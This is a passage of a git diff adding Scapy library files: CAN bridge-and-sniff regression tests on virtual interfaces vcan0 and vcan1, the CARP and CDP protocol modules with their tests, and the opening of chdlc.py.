bSock1.timeout = 0.01 + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan1ToVCan0) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan1) +bridgeStarted.wait() + +packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) +len(packetsVCan0) == 4 + +sock0.close() +sock1.close() + +threadBridge.join() +threadSender.join() + +=bridge and sniff setup vcan0 and vcan1 package change in both directions +~ needs_root linux + +sock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000, can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])) +sock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000, can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])) + +def senderBothVCans(): + sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() +def bridgeWithPackageChangeBothDirections(): + global bridgeStarted + bSock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) + bSock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + def pnr(pkt): + pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' + pkt.identifier = 0x10010000 + return pkt + bSock0.timeout = 0.01 + bSock1.timeout = 0.01 + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithPackageChangeBothDirections) +threadBridge.start() +threadSender = threading.Thread(target=senderBothVCans) +bridgeStarted.wait() + +packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) +packetsVCan1 = sock1.sniff(timeout=0.3) +len(packetsVCan0) == 4 +len(packetsVCan1) == 6 + +sock0.close() +sock1.close() + +threadBridge.join() +threadSender.join() + +=bridge and sniff setup vcan0 package remove +~ needs_root linux + +sock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) +sock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + +def senderVCan0(): + sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + +bridgeStarted = threading.Event() +def bridgeWithRemovePackageFromVCan0ToVCan1(): + global bridgeStarted + bSock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) + bSock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + def pnr(pkt): + if(pkt.identifier == 0x10020000): + pkt = None + else: + pkt = pkt + return pkt + bSock0.timeout = 0.01 + bSock1.timeout = 0.01 + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.5, started_callback=bridgeStarted.set) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan0ToVCan1) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan0) +bridgeStarted.wait() + +packetsVCan1 = sock1.sniff(timeout=0.3, started_callback=threadSender.start) + +len(packetsVCan1) == 5 + +sock0.close() +sock1.close() + +threadBridge.join() +threadSender.join() + +=bridge and sniff setup vcan1 package remove +~ needs_root linux + +sock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) +sock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + +def senderVCan1(): + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() +def bridgeWithRemovePackageFromVCan1ToVCan0(): + global bridgeStarted + bSock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) + bSock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + def pnr(pkt): + if(pkt.identifier == 0x10050000): + pkt = None + else: + pkt = pkt + return pkt + bSock0.timeout = 0.01 + bSock1.timeout = 0.01 + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan1ToVCan0) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan1) +bridgeStarted.wait() + +packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) + +len(packetsVCan0) == 3 + +sock0.close() +sock1.close() + +threadBridge.join() +threadSender.join() + + +=bridge and sniff setup vcan0 and vcan1 package remove both directions +~ needs_root linux + +sock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) +sock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + +def senderBothVCans(): + sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() +def bridgeWithRemovePackageInBothDirections(): + global bridgeStarted + bSock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) + bSock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + def pnrA(pkt): + if(pkt.identifier == 0x10020000): + pkt = None + else: + pkt = pkt + return pkt + def pnrB(pkt): + if (pkt.identifier == 0x10050000): + pkt = None + else: + pkt = pkt + return pkt + bSock0.timeout = 0.01 + bSock1.timeout = 0.01 + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnrA, xfrm21=pnrB, timeout=0.5, started_callback=bridgeStarted.set) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithRemovePackageInBothDirections) +threadBridge.start() +threadSender = threading.Thread(target=senderBothVCans) +bridgeStarted.wait() + +packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) +packetsVCan1 = sock1.sniff(timeout=0.3) + +len(packetsVCan0) == 3 +len(packetsVCan1) == 5 + +sock0.close() +sock1.close() + diff --git a/libs/scapy/contrib/carp.py b/libs/scapy/contrib/carp.py new file mode 100755 index 0000000..0e27782 --- /dev/null +++ b/libs/scapy/contrib/carp.py @@ -0,0 +1,81 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Common Address Redundancy Protocol (CARP) +# scapy.contrib.status = loads + +import struct +import hmac +import hashlib + +from scapy.packet import Packet, split_layers, bind_layers +from scapy.layers.inet import IP +from scapy.fields import BitField, ByteField, XShortField, XIntField +from scapy.layers.vrrp import IPPROTO_VRRP, VRRP, VRRPv3 +from scapy.utils import checksum, inet_aton +from scapy.error import warning + + +class CARP(Packet): + name = "CARP" + fields_desc = [BitField("version", 4, 4), + BitField("type", 4, 4), + ByteField("vhid", 1), + ByteField("advskew", 0), + ByteField("authlen", 0), + ByteField("demotion", 0), + ByteField("advbase", 0), + XShortField("chksum", None), + XIntField("counter1", 0), + XIntField("counter2", 0), + XIntField("hmac1", 0), + XIntField("hmac2", 0), + XIntField("hmac3", 0), + XIntField("hmac4", 0), + XIntField("hmac5", 0) + ] + + def post_build(self, pkt, pay): + if self.chksum is None: + pkt = pkt[:6] + struct.pack("!H", checksum(pkt)) + pkt[8:] + + return pkt + + def build_hmac_sha1(self, pw=b'\x00' * 20, ip4l=[], ip6l=[]): + h = hmac.new(pw, digestmod=hashlib.sha1) + # XXX: this is a dirty hack. it needs to pack version and type into a single 8bit field # noqa: E501 + h.update(b'\x21') + # XXX: mac addy if different from special link layer. comes before vhid + h.update(struct.pack('!B', self.vhid)) + + sl = [] + for i in ip4l: + # sort ips from smallest to largest + sl.append(inet_aton(i)) + sl.sort() + + for i in sl: + h.update(i) + + # XXX: do ip6l sorting + + return h.digest() + + +warning("CARP overwrites VRRP !") +# This cancel the bindings done in vrrp.py +split_layers(IP, VRRP, proto=IPPROTO_VRRP) +split_layers(IP, VRRPv3, proto=IPPROTO_VRRP) +# CARP bindings +bind_layers(IP, CARP, proto=112, dst='224.0.0.18') diff --git a/libs/scapy/contrib/carp.uts b/libs/scapy/contrib/carp.uts new file mode 100755 index 0000000..ef469ac --- /dev/null +++ b/libs/scapy/contrib/carp.uts @@ -0,0 +1,11 @@ +% Regression tests for the avs module + ++ Basic CARP test + += Build + +pkt = Ether()/IP()/CARP() +pkt = Ether(raw(pkt)) +assert CARP in pkt +assert pkt[CARP].chksum +assert pkt[CARP].build_hmac_sha1(ip4l=['192.168.0.111']) == b'\xbd\x82\xc7\x8f6\x1a\x0e\xff\xcfl\x14\xa2v\xedW;>ic\xa3' diff --git a/libs/scapy/contrib/cdp.py b/libs/scapy/contrib/cdp.py new file mode 100755 index 0000000..96db58d --- /dev/null +++ b/libs/scapy/contrib/cdp.py @@ -0,0 +1,398 @@ +# scapy.contrib.description = Cisco Discovery Protocol (CDP) +# scapy.contrib.status = loads + +############################################################################# +# # +# cdp.py --- Cisco Discovery Protocol (CDP) extension for Scapy # +# # +# Copyright (C) 2006 Nicolas Bareil # +# Arnaud Ebalard # +# EADS/CRC security team # +# # +# This file is part of Scapy # +# Scapy is free software: you can redistribute it and/or modify it # +# under the terms of the GNU General Public License version 2 as # +# published by the Free Software Foundation; version 2. # +# # +# This program is distributed in the hope that it will be useful, but # +# WITHOUT ANY WARRANTY; without even the implied warranty of # +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # +# General Public License for more details. # +# # +############################################################################# + +from __future__ import absolute_import +import struct + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteEnumField, ByteField, FieldLenField, FlagsField, \ + IP6Field, IPField, PacketListField, ShortField, StrLenField, \ + X3BytesField, XByteField, XShortEnumField, XShortField +from scapy.layers.inet import checksum +from scapy.layers.l2 import SNAP +from scapy.compat import orb, chb +from scapy.modules.six.moves import range +from scapy.config import conf + + +##################################################################### +# Helpers and constants +##################################################################### + +# CDP TLV classes keyed by type +_cdp_tlv_cls = {0x0001: "CDPMsgDeviceID", + 0x0002: "CDPMsgAddr", + 0x0003: "CDPMsgPortID", + 0x0004: "CDPMsgCapabilities", + 0x0005: "CDPMsgSoftwareVersion", + 0x0006: "CDPMsgPlatform", + 0x0008: "CDPMsgProtoHello", + 0x0009: "CDPMsgVTPMgmtDomain", # CDPv2 + 0x000a: "CDPMsgNativeVLAN", # CDPv2 + 0x000b: "CDPMsgDuplex", # + # 0x000c: "CDPMsgGeneric", + # 0x000d: "CDPMsgGeneric", + 0x000e: "CDPMsgVoIPVLANReply", + 0x000f: "CDPMsgVoIPVLANQuery", + 0x0010: "CDPMsgPower", + 0x0011: "CDPMsgMTU", + 0x0012: "CDPMsgTrustBitmap", + 0x0013: "CDPMsgUntrustedPortCoS", + # 0x0014: "CDPMsgSystemName", + # 0x0015: "CDPMsgSystemOID", + 0x0016: "CDPMsgMgmtAddr", + # 0x0017: "CDPMsgLocation", + 0x0019: "CDPMsgUnknown19", + # 0x001a: "CDPPowerAvailable" + } + +_cdp_tlv_types = {0x0001: "Device ID", + 0x0002: "Addresses", + 0x0003: "Port ID", + 0x0004: "Capabilities", + 0x0005: "Software Version", + 0x0006: "Platform", + 0x0007: "IP Prefix", + 0x0008: "Protocol Hello", + 0x0009: "VTP Management Domain", # CDPv2 + 0x000a: "Native VLAN", # CDPv2 + 0x000b: "Duplex", # + 0x000c: "CDP Unknown command (send us a pcap file)", + 0x000d: "CDP Unknown command (send us a pcap file)", + 0x000e: "VoIP VLAN Reply", + 0x000f: "VoIP VLAN Query", + 0x0010: "Power", + 0x0011: "MTU", + 0x0012: "Trust Bitmap", + 0x0013: "Untrusted Port CoS", + 0x0014: "System Name", + 0x0015: "System OID", + 0x0016: "Management Address", + 0x0017: "Location", + 0x0018: "CDP Unknown command (send us a pcap file)", + 0x0019: "CDP Unknown command (send us a pcap file)", + 0x001a: "Power Available"} + + +def _CDPGuessPayloadClass(p, **kargs): + cls = conf.raw_layer + if len(p) >= 2: + t = struct.unpack("!H", p[:2])[0] + if t == 0x0007 and len(p) > 4: + tmp_len = struct.unpack("!H", p[2:4])[0] + if tmp_len == 8: + clsname = "CDPMsgIPGateway" + else: + clsname = "CDPMsgIPPrefix" + else: + clsname = _cdp_tlv_cls.get(t, "CDPMsgGeneric") + cls = globals()[clsname] + + return cls(p, **kargs) + + +class CDPMsgGeneric(Packet): + name = "CDP Generic Message" + fields_desc = [XShortEnumField("type", None, _cdp_tlv_types), + FieldLenField("len", None, "val", "!H", + adjust=lambda pkt, x: x + 4), + StrLenField("val", "", length_from=lambda x:x.len - 4, + max_length=65531)] + + def guess_payload_class(self, p): + return conf.padding_layer # _CDPGuessPayloadClass + + +class CDPMsgDeviceID(CDPMsgGeneric): + name = "Device ID" + type = 0x0001 + + +_cdp_addr_record_ptype = {0x01: "NLPID", 0x02: "802.2"} +_cdp_addrrecord_proto_ip = b"\xcc" +_cdp_addrrecord_proto_ipv6 = b"\xaa\xaa\x03\x00\x00\x00\x86\xdd" + + +class CDPAddrRecord(Packet): + name = "CDP Address" + fields_desc = [ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype), + FieldLenField("plen", None, "proto", "B"), + StrLenField("proto", None, length_from=lambda x:x.plen, + max_length=255), + FieldLenField("addrlen", None, length_of=lambda x:x.addr), + StrLenField("addr", None, length_from=lambda x:x.addrlen, + max_length=65535)] + + def guess_payload_class(self, p): + return conf.padding_layer + + +class CDPAddrRecordIPv4(CDPAddrRecord): + name = "CDP Address IPv4" + fields_desc = [ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype), + FieldLenField("plen", 1, "proto", "B"), + StrLenField("proto", _cdp_addrrecord_proto_ip, + length_from=lambda x: x.plen, max_length=255), + ShortField("addrlen", 4), + IPField("addr", "0.0.0.0")] + + +class CDPAddrRecordIPv6(CDPAddrRecord): + name = "CDP Address IPv6" + fields_desc = [ByteEnumField("ptype", 0x02, _cdp_addr_record_ptype), + FieldLenField("plen", 8, "proto", "B"), + StrLenField("proto", _cdp_addrrecord_proto_ipv6, + length_from=lambda x:x.plen, max_length=255), + ShortField("addrlen", 16), + IP6Field("addr", "::1")] + + +def _CDPGuessAddrRecord(p, **kargs): + cls = conf.raw_layer + if len(p) >= 2: + plen = orb(p[1]) + proto = p[2:plen + 2] + + if proto == _cdp_addrrecord_proto_ip: + clsname = "CDPAddrRecordIPv4" + elif proto == _cdp_addrrecord_proto_ipv6: + clsname = "CDPAddrRecordIPv6" + else: + clsname = "CDPAddrRecord" + + cls = globals()[clsname] + + return cls(p, **kargs) + + +class CDPMsgAddr(CDPMsgGeneric): + name = "Addresses" + fields_desc = [XShortEnumField("type", 0x0002, _cdp_tlv_types), + ShortField("len", None), + FieldLenField("naddr", None, "addr", "!I"), + PacketListField("addr", [], _CDPGuessAddrRecord, + length_from=lambda x:x.len - 8)] + + def post_build(self, pkt, pay): + if self.len is None: + tmp_len = 8 + len(self.addr) * 9 + pkt = pkt[:2] + struct.pack("!H", tmp_len) + pkt[4:] + p = pkt + pay + return p + + +class CDPMsgPortID(CDPMsgGeneric): + name = "Port ID" + fields_desc = [XShortEnumField("type", 0x0003, _cdp_tlv_types), + FieldLenField("len", None, "iface", "!H", + adjust=lambda pkt, x: x + 4), + StrLenField("iface", "Port 1", length_from=lambda x:x.len - 4)] # noqa: E501 + + +_cdp_capabilities = ["Router", + "TransparentBridge", + "SourceRouteBridge", + "Switch", + "Host", + "IGMPCapable", + "Repeater"] + ["Bit%d" % x for x in range(25, 0, -1)] + + +class CDPMsgCapabilities(CDPMsgGeneric): + name = "Capabilities" + fields_desc = [XShortEnumField("type", 0x0004, _cdp_tlv_types), + ShortField("len", 8), + FlagsField("cap", 0, 32, _cdp_capabilities)] + + +class CDPMsgSoftwareVersion(CDPMsgGeneric): + name = "Software Version" + type = 0x0005 + + +class CDPMsgPlatform(CDPMsgGeneric): + name = "Platform" + type = 0x0006 + + +_cdp_duplex = {0x00: "Half", 0x01: "Full"} + +# ODR Routing + + +class CDPMsgIPGateway(CDPMsgGeneric): + name = "IP Gateway" + type = 0x0007 + fields_desc = [XShortEnumField("type", 0x0007, _cdp_tlv_types), + ShortField("len", 8), + IPField("defaultgw", "192.168.0.1")] + + +class CDPMsgIPPrefix(CDPMsgGeneric): + name = "IP Prefix" + type = 0x0007 + fields_desc = [XShortEnumField("type", 0x0007, _cdp_tlv_types), + ShortField("len", 9), + IPField("prefix", "192.168.0.1"), + ByteField("plen", 24)] + + +class CDPMsgProtoHello(CDPMsgGeneric): + name = "Protocol Hello" + type = 0x0008 + fields_desc = [XShortEnumField("type", 0x0008, _cdp_tlv_types), + ShortField("len", 32), + X3BytesField("oui", 0x00000c), + XShortField("protocol_id", 0x0), + # TLV length (len) - 2 (type) - 2 (len) - 3 (OUI) - 2 + # (Protocol ID) + StrLenField("data", "", length_from=lambda p: p.len - 9)] + + +class CDPMsgVTPMgmtDomain(CDPMsgGeneric): + name = "VTP Management Domain" + type = 0x0009 + + +class CDPMsgNativeVLAN(CDPMsgGeneric): + name = "Native VLAN" + fields_desc = [XShortEnumField("type", 0x000a, _cdp_tlv_types), + ShortField("len", 6), + ShortField("vlan", 1)] + + +class CDPMsgDuplex(CDPMsgGeneric): + name = "Duplex" + fields_desc = [XShortEnumField("type", 0x000b, _cdp_tlv_types), + ShortField("len", 5), + ByteEnumField("duplex", 0x00, _cdp_duplex)] + + +class CDPMsgVoIPVLANReply(CDPMsgGeneric): + name = "VoIP VLAN Reply" + fields_desc = [XShortEnumField("type", 0x000e, _cdp_tlv_types), + ShortField("len", 7), + ByteField("status?", 1), + ShortField("vlan", 1)] + + +class CDPMsgVoIPVLANQuery(CDPMsgGeneric): + name = "VoIP VLAN Query" + type = 0x000f + fields_desc = [XShortEnumField("type", 0x000f, _cdp_tlv_types), + FieldLenField("len", None, "unknown2", fmt="!H", + adjust=lambda pkt, x: x + 7), + XByteField("unknown1", 0), + ShortField("vlan", 1), + # TLV length (len) - 2 (type) - 2 (len) - 1 (unknown1) - 2 (vlan) # noqa: E501 + StrLenField("unknown2", "", length_from=lambda p: p.len - 7, + max_length=65528)] + + +class _CDPPowerField(ShortField): + def i2repr(self, pkt, x): + if x is None: + x = 0 + return "%d mW" % x + + +class CDPMsgPower(CDPMsgGeneric): + name = "Power" + # Check if field length is fixed (2 bytes) + fields_desc = [XShortEnumField("type", 0x0010, _cdp_tlv_types), + ShortField("len", 6), + _CDPPowerField("power", 1337)] + + +class CDPMsgMTU(CDPMsgGeneric): + name = "MTU" + # Check if field length is fixed (2 bytes) + fields_desc = [XShortEnumField("type", 0x0011, _cdp_tlv_types), + ShortField("len", 6), + ShortField("mtu", 1500)] + + +class CDPMsgTrustBitmap(CDPMsgGeneric): + name = "Trust Bitmap" + fields_desc = [XShortEnumField("type", 0x0012, _cdp_tlv_types), + ShortField("len", 5), + XByteField("trust_bitmap", 0x0)] + + +class CDPMsgUntrustedPortCoS(CDPMsgGeneric): + name = "Untrusted Port CoS" + fields_desc = [XShortEnumField("type", 0x0013, _cdp_tlv_types), + ShortField("len", 5), + XByteField("untrusted_port_cos", 0x0)] + + +class CDPMsgMgmtAddr(CDPMsgAddr): + name = "Management Address" + type = 0x0016 + + +class CDPMsgUnknown19(CDPMsgGeneric): + name = "Unknown CDP Message" + type = 0x0019 + + +class CDPMsg(CDPMsgGeneric): + name = "CDP " + fields_desc = [XShortEnumField("type", None, _cdp_tlv_types), + FieldLenField("len", None, "val", fmt="!H", + adjust=lambda pkt, x: x + 4), + StrLenField("val", "", length_from=lambda x:x.len - 4, + max_length=65531)] + + +class _CDPChecksum: + def _check_len(self, pkt): + """Check for odd packet length and pad according to Cisco spec. + This padding is only used for checksum computation. The original + packet should not be altered.""" + if len(pkt) % 2: + last_chr = orb(pkt[-1]) + if last_chr <= 0x80: + return pkt[:-1] + b'\x00' + chb(last_chr) + else: + return pkt[:-1] + b'\xff' + chb(orb(last_chr) - 1) + else: + return pkt + + def post_build(self, pkt, pay): + p = pkt + pay + if self.cksum is None: + cksum = checksum(self._check_len(p)) + p = p[:2] + struct.pack("!H", cksum) + p[4:] + return p + + +class CDPv2_HDR(_CDPChecksum, CDPMsgGeneric): + name = "Cisco Discovery Protocol version 2" + fields_desc = [ByteField("vers", 2), + ByteField("ttl", 180), + XShortField("cksum", None), + PacketListField("msg", [], _CDPGuessPayloadClass)] + + +bind_layers(SNAP, CDPv2_HDR, {"code": 0x2000, "OUI": 0xC}) diff --git a/libs/scapy/contrib/cdp.uts b/libs/scapy/contrib/cdp.uts new file mode 100755 index 0000000..11651f7 --- /dev/null +++ b/libs/scapy/contrib/cdp.uts @@ -0,0 +1,71 @@ +#################################### cdp.py ################################## +% Regression tests for the cdp module + + +################################## CDPv2_HDR ################################## ++ CDP + += CDPv2 - Dissection (1) +s = b'\x02\xb4\x8c\xfa\x00\x01\x00\x0cmyswitch\x00\x02\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x00\xfd\x00\x03\x00\x13FastEthernet0/1\x00\x04\x00\x08\x00\x00\x00(\x00\x05\x01\x14Cisco Internetwork Operating System Software \nIOS (tm) C2950 Software (C2950-I6K2L2Q4-M), Version 12.1(22)EA14, RELEASE SOFTWARE (fc1)\nTechnical Support: http://www.cisco.com/techsupport\nCopyright (c) 1986-2010 by cisco Systems, Inc.\nCompiled Tue 26-Oct-10 10:35 by nburra\x00\x06\x00\x15cisco WS-C2950-12\x00\x08\x00$\x00\x00\x0c\x01\x12\x00\x00\x00\x00\xff\xff\xff\xff\x01\x02!\xff\x00\x00\x00\x00\x00\x00\x00\x0b\xbe\x18\x9a@\xff\x00\x00\x00\t\x00\x0cMYDOMAIN\x00\n\x00\x06\x00\x01\x00\x0b\x00\x05\x01\x00\x0e\x00\x07\x01\x00\n\x00\x12\x00\x05\x00\x00\x13\x00\x05\x00\x00\x16\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x00\xfd' +cdpv2 = CDPv2_HDR(s) +assert(cdpv2.vers == 2) +assert(cdpv2.ttl == 180) +assert(cdpv2.cksum == 0x8cfa) +assert(cdpv2.haslayer(CDPMsgDeviceID)) +assert(cdpv2.haslayer(CDPMsgAddr)) +assert(cdpv2.haslayer(CDPAddrRecordIPv4)) +assert(cdpv2.haslayer(CDPMsgPortID)) +assert(cdpv2.haslayer(CDPMsgCapabilities)) +assert(cdpv2.haslayer(CDPMsgSoftwareVersion)) +assert(cdpv2.haslayer(CDPMsgPlatform)) +assert(cdpv2.haslayer(CDPMsgProtoHello)) +assert(cdpv2.haslayer(CDPMsgVTPMgmtDomain)) +assert(cdpv2.haslayer(CDPMsgNativeVLAN)) +assert(cdpv2.haslayer(CDPMsgDuplex)) +assert(cdpv2.haslayer(CDPMsgVoIPVLANReply)) +assert(cdpv2.haslayer(CDPMsgTrustBitmap)) +assert(cdpv2.haslayer(CDPMsgUntrustedPortCoS)) +assert(cdpv2.haslayer(CDPMsgMgmtAddr)) +assert(cdpv2[CDPMsgProtoHello].len == 36) +assert(cdpv2[CDPMsgProtoHello].oui == 0xc) +assert(cdpv2[CDPMsgProtoHello].protocol_id == 0x112) +assert(cdpv2[CDPMsgTrustBitmap].type == 0x0012) +assert(cdpv2[CDPMsgTrustBitmap].len == 5) +assert(cdpv2[CDPMsgTrustBitmap].trust_bitmap == 0x0) +assert(cdpv2[CDPMsgUntrustedPortCoS].type == 0x0013) +assert(cdpv2[CDPMsgUntrustedPortCoS].len == 5) +assert(cdpv2[CDPMsgUntrustedPortCoS].untrusted_port_cos == 0x0) + += CDPv2 - Rebuild (1) + +cdpv2.cksum = None +assert raw(cdpv2) == s + += CDPv2 - Dissection (2) +s = b'\x02\xb4\xd7\xdb\x00\x01\x00\x13SIP001122334455\x00\x02\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x01!\x00\x03\x00\nPort 1\x00\x04\x00\x08\x00\x00\x00\x10\x00\x05\x00\x10P003-08-2-00\x00\x06\x00\x17Cisco IP Phone 7960\x00\x0f\x00\x08 \x02\x00\x01\x00\x0b\x00\x05\x01\x00\x10\x00\x06\x18\x9c' +cdpv2 = CDPv2_HDR(s) +assert(cdpv2.vers == 2) +assert(cdpv2.ttl == 180) +assert(cdpv2.cksum == 0xd7db) +assert(cdpv2.haslayer(CDPMsgDeviceID)) +assert(cdpv2.haslayer(CDPMsgAddr)) +assert(cdpv2.haslayer(CDPAddrRecordIPv4)) +assert(cdpv2.haslayer(CDPMsgPortID)) +assert(cdpv2.haslayer(CDPMsgCapabilities)) +assert(cdpv2.haslayer(CDPMsgSoftwareVersion)) +assert(cdpv2.haslayer(CDPMsgPlatform)) +assert(cdpv2.haslayer(CDPMsgVoIPVLANQuery)) +assert(cdpv2.haslayer(CDPMsgDuplex)) +assert(cdpv2.haslayer(CDPMsgPower)) +assert(cdpv2[CDPMsgVoIPVLANQuery].type == 0x000f) +assert(cdpv2[CDPMsgVoIPVLANQuery].len == 8) +assert(cdpv2[CDPMsgVoIPVLANQuery].unknown1 == 0x20) +assert(cdpv2[CDPMsgVoIPVLANQuery].vlan == 512) + +assert cdpv2[CDPMsgPower].sprintf("%power%") == '6300 mW' + += CDPv2 - Rebuild (2) + +cdpv2.cksum = None +s2 = s[:2] + b"\xf3\xf1" + s[4:] +assert raw(cdpv2) == s2 diff --git a/libs/scapy/contrib/chdlc.py b/libs/scapy/contrib/chdlc.py new file mode 100755 index 0000000..c5918aa --- /dev/null +++ b/libs/scapy/contrib/chdlc.py @@ -0,0 +1,60 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied 